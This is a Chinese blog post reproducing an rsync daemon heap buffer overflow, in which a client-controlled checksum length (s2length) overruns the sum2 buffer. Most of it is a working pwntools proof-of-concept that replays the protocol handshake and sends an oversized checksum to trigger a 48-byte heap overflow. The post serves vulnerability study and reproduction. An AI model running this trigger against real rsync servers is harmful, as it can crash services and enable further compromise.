包含关键字 Rsync 的文章

某天在 archlinux 主页看到建议立即更新 Rsync 的警告,看了下感觉复现难度不高,于是来试试。

Rsync 版本 31.0,采用默认配置 ftp 模式。远程服务器上随便放一个 libc.so.6 文件作为测试(文件本身是什么不重要,但是要稍大一些)。

漏洞的具体分析在 Google 的这篇文章写得很清楚,我就不赘述了。简单来说就是在 rsync daemon 文件同步过程中,客户端上传用于比对文件是否一致的校验和 sum2 时,用于控制其长度的 s2length 用户可控且最大值大于 sum2 缓冲区长度。(怀疑是某次更新时被杂乱的宏定义搞晕了)伪造 s2length 即可构造最长 48 字节的堆上缓冲区溢出,威力极强。

    #!/usr/bin/python
    
    from pwn import *
    
    context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
    binary = './rsync'
    
    io = connect('127.0.0.1', 873) # 远程服务器 rsync --daemon
    e = ELF(binary)
    libc = ELF('/usr/lib/libc.so.6', checksec=None)
    
    # gdb.attach(p, 'b *$rebase(0x22068)')
    
    io.sendlineafter(b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4', b'@RSYNCD: 31.0 sha512 sha256 sha1 md5 md4')
    io.sendline(b'ftp')
    io.sendafter(b'@RSYNCD: OK', bytes.fromhex('2d2d736572766572002d2d73656e646572002d766c6f67447470727a652e694c73667843497675002e006674702f6c6962632e736f2e3600001e7878683132382078786833207878683634206d6435206d64342073686131137a737464206c7a34207a6c696278207a6c69620400000700000000130000070200a0')) # 复现正常的协议交换过程等
    # cksum count, block length, cksum length, remainder length
    io.sendafter(b'root', p32(1) + p32(64) * 2 + p32(0))
    io.send(p32(0x07000044) + p32(0xcafebabe) + cyclic(64)) # 0x07000044 为消息头,0xcafebabe 为 sum,cyclic(64) 为 sum2(长度最大 16 字节,溢出 48 字节)
    
    io.recvall()

堆缓冲区溢出效果:

img

img

虽然但是,做 CTF glibc heap Pwn 做得有点恶心了,并不想写 exploit...(懒)